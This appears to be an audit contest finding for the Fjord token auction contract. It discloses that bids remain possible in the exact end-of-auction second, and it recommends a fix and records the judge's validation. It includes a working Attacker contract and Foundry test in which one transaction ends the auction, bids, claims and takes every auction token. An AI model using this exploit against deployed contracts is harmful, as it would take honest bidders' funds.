Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Malicious User Can Bid After Auction Ends

ragnarok

Vulnerability Details

A malicious user can call the FjordAuction::bid function after the FjordAuction::auctionEnd function has been executed. This issue arises because both the FjordAuction::bid and FjordAuction::auctionEnd functions check block.timestamp against FjordAuction::auctionEndTime but do not account for the scenario where block.timestamp equals FjordAuction::auctionEndTime. Details are provided in the 'Proof of Concept' section.

/* FjordAuction::bid function */
function bid(uint256 amount) external {
=> if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
...
}
​
/* FjordAuction::auctionEnd function */
function auctionEnd() external {
=> if (block.timestamp < auctionEndTime) {
revert AuctionNotYetEnded();
}
...
}

Impact

A malicious user can bid after the auction has ended to receive more tokens than expected. As a result, some bidders are unable to claim auction tokens and lose their FjordPoints tokens.

Proof Of Concept

First, the malicious user creates an attacker contract to call the FjordAuction::auctionEnd function and the FjordAuction::bid function within a single transaction. Then, they wait until the block.timestamp equals FjordAuction::auctionEndTime to send the transaction and execute the attack.

Add the code for the Attacker contract to the test/unit/auction.t.sol file:

contract Attacker {
FjordAuction public auctionContract;
ERC20BurnableMock public fjordPoints;
ERC20BurnableMock public auctionToken;
​
constructor(
address _auctionAddress,
address _points,
address _auctionToken
) {
auctionContract = FjordAuction(_auctionAddress);
fjordPoints = ERC20BurnableMock(_points);
auctionToken = ERC20BurnableMock(_auctionToken);
}
​
function attack(uint256 _amount) external returns (uint256) {
// Approve token
fjordPoints.approve(address(auctionContract), 2 ** 256 - 1);
​
// Attack
auctionContract.auctionEnd();
auctionContract.bid(_amount);
auctionContract.claimTokens();
​
// Transfer auction token to attacker
uint256 balance = auctionToken.balanceOf(address(this));
auctionToken.transfer(msg.sender, balance);
​
return balance;
}
}

Add the test case and run the command forge test --mt testBidAfterAuctionEnd:

function testBidAfterAuctionEnd() public {
// Bid
uint256 bidAmount = 100 ether;
address bidder = makeAddr("bidder");
_bidAuction(bidder, bidAmount);
​
// Deploy attacker contract
Attacker attacker = new Attacker(
address(auction),
address(fjordPoints),
address(auctionToken)
);
address malicious = makeAddr("Malicious");
deal(address(fjordPoints), address(attacker), bidAmount);
​
// Attack
vm.warp(auction.auctionEndTime());
vm.startPrank(malicious);
attacker.attack(bidAmount);
vm.stopPrank();
​
// All auction tokens were transferred to malicious address
assertEq(auctionToken.balanceOf(address(auction)), 0);
assertEq(auctionToken.balanceOf(malicious), auction.totalTokens());
​
// Bidder can't claim tokens
vm.startPrank(bidder);
vm.expectRevert();
auction.claimTokens();
vm.stopPrank();
}
​
function _bidAuction(address _user, uint256 _amount) internal {
deal(address(fjordPoints), _user, _amount);
​
vm.startPrank(_user);
fjordPoints.approve(address(auction), _amount);
auction.bid(_amount);
vm.stopPrank();
}

Recommendations

Update function FjordAuction::auctionEnd:

/* FjordAuction::auctionEnd function */
function auctionEnd() external {
- if (block.timestamp < auctionEndTime) {
+ if (block.timestamp <= auctionEndTime) {
revert AuctionNotYetEnded();
}
...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.